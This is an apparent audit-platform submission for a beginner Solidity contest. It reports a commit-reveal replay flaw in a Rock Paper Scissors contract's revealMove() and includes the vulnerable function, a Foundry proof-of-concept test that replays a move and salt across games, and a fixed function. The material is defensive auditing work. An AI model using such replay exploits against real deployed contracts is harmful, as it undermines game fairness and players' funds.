Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Valid

Replay Attack via Weak Reveal Validation in `revealMove()` `RockPaperScissors.sol`

๐Ÿชฒ Finding Title

Replay Attack via Weak Reveal Validation in revealMove()


๐Ÿงฉ Summary

The revealMove() function in RockPaperScissors.sol suffers from a logic flaw that allows malicious players to replay revealed moves from prior games. This occurs because the function verifies the hash using only the move and salt, without binding the commitment to the player or the game instance.


๐Ÿ” Finding Description

The protocol uses a commit-reveal scheme where players submit a hash of their move and a secret salt. During the reveal phase, revealMove() recomputes the hash using:

keccak256(abi.encodePacked(move, _salt));

However, this allows the same move + salt combination to be used by other players in separate games to impersonate previously revealed commitments. The system fails to bind the commit to:

  • The sender (msg.sender)

  • The game context (_gameId)

This opens the door for:

  • Cross-game replay of valid reveals

  • Move impersonation

  • Unfair draw manipulation


๐Ÿ’ฅ Impact

  • Reveal impersonation: Anyone can copy move + salt from a previous game and reveal it.

  • Game integrity breach: Multiple games can be influenced using the same commitment.

  • Trust loss: Undermines the core fairness guarantees of commit-reveal protocols.


๐Ÿ“Œ Vulnerable Code (Full Function)

File: src/RockPaperScissors.sol
Function: revealMove()
Line: ~230

function revealMove(uint256 _gameId, uint8 _move, bytes32 _salt) external {
Game storage game = games[_gameId];
โ€‹
require(msg.sender == game.playerA || msg.sender == game.playerB, "Not a player in this game");
require(game.state == GameState.Committed, "Game not in reveal phase");
require(block.timestamp <= game.revealDeadline, "Reveal phase timed out");
require(_move >= 1 && _move <= 3, "Invalid move");
โ€‹
Move move = Move(_move);
bytes32 commit = keccak256(abi.encodePacked(move, _salt)); // โ— Not bound to sender or gameId
โ€‹
if (msg.sender == game.playerA) {
require(commit == game.commitA, "Hash doesn't match commitment");
require(game.moveA == Move.None, "Move already revealed");
game.moveA = move;
} else {
require(commit == game.commitB, "Hash doesn't match commitment");
require(game.moveB == Move.None, "Move already revealed");
game.moveB = move;
}
โ€‹
emit MoveRevealed(_gameId, msg.sender, move, game.currentTurn);
โ€‹
if (game.moveA != Move.None && game.moveB != Move.None) {
_determineWinner(_gameId);
}
}

๐Ÿงช Proof of Concept

See test file: RevealReplayPoC.t.sol

This test shows how an attacker can reuse move + salt from a past game to pass the reveal phase in a different game and impersonate the original player.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
โ€‹
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
import "../src/WinningToken.sol";
โ€‹
contract RevealReplayPoCTest is Test {
RockPaperScissors public game;
WinningToken public token;
โ€‹
address public playerA;
address public playerB;
โ€‹
function setUp() public {
playerA = makeAddr("playerA");
playerB = makeAddr("playerB");
โ€‹
vm.deal(playerA, 10 ether);
vm.deal(playerB, 10 ether);
โ€‹
game = new RockPaperScissors();
token = WinningToken(game.winningToken());
}
โ€‹
function testRevealReplayAttack() public {
uint256 game1 = createAndJoinGame(playerA, playerB);
uint256 game2 = createAndJoinGame(playerA, playerB);
โ€‹
bytes32 salt = keccak256(abi.encodePacked("shared salt"));
bytes32 commitHash = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), salt));
โ€‹
vm.prank(playerA);
game.commitMove(game1, commitHash);
โ€‹
vm.prank(playerB);
game.commitMove(game1, keccak256(abi.encodePacked("dummy")));
โ€‹
vm.prank(playerA);
game.commitMove(game2, keccak256(abi.encodePacked("fresh")));
โ€‹
vm.prank(playerB);
game.commitMove(game2, commitHash);
โ€‹
vm.warp(block.timestamp + 1);
vm.prank(playerA);
game.revealMove(game1, uint8(RockPaperScissors.Move.Rock), salt); // โœ…
โ€‹
vm.prank(playerB);
game.revealMove(game2, uint8(RockPaperScissors.Move.Rock), salt); // โ— replay attack
}
โ€‹
function createAndJoinGame(address a, address b) internal returns (uint256) {
vm.prank(a);
uint256 id = game.createGameWithEth{value: 0.1 ether}(3, 600);
vm.prank(b);
game.joinGameWithEth{value: 0.1 ether}(id);
return id;
}
}

โœ… Recommendation

๐Ÿ” Secure Reveal Validation

bytes32 commit = keccak256(abi.encodePacked(move, _salt, msg.sender, _gameId));

๐Ÿ” Updated Commit Hash Format

Players should generate commits with:

keccak256(abi.encodePacked(move, salt, msg.sender, gameId));

๐Ÿ” Optional Improvement in commitMove()

To improve hygiene and prevent salt reuse:

require(!usedSalt[msg.sender][_gameId][_commitHash], "Salt reuse not allowed");
usedSalt[msg.sender][_gameId][_commitHash] = true;

๐Ÿ“Œ Fixed Code (Full Function)

function revealMove(uint256 _gameId, uint8 _move, bytes32 _salt) external {
Game storage game = games[_gameId];
โ€‹
require(msg.sender == game.playerA || msg.sender == game.playerB, "Not a player in this game");
require(game.state == GameState.Committed, "Game not in reveal phase");
require(block.timestamp <= game.revealDeadline, "Reveal phase timed out");
require(_move >= 1 && _move <= 3, "Invalid move");
โ€‹
Move move = Move(_move);
bytes32 commit = keccak256(abi.encodePacked(move, _salt, msg.sender, _gameId)); // โœ… safer
โ€‹
if (msg.sender == game.playerA) {
require(commit == game.commitA, "Hash doesn't match commitment");
require(game.moveA == Move.None, "Move already revealed");
game.moveA = move;
} else {
require(commit == game.commitB, "Hash doesn't match commitment");
require(game.moveB == Move.None, "Move already revealed");
game.moveB = move;
}
โ€‹
emit MoveRevealed(_gameId, msg.sender, move, game.currentTurn);
โ€‹
if (game.moveA != Move.None && game.moveB != Move.None) {
_determineWinner(_gameId);
}
}

โœ… Conclusion

The vulnerability in revealMove() stems from verifying hashes using only move + salt, without ensuring the sender and game context match. By binding these elements in the hash, the system becomes resistant to replay attacks. While the main risk lies in revealMove(), it's good practice to harden commitMove() as well to complete the security model.

โœ… Tool Used

Manual review

Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of Salt Uniqueness Enforcement

The contract does not enforce salt uniqueness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.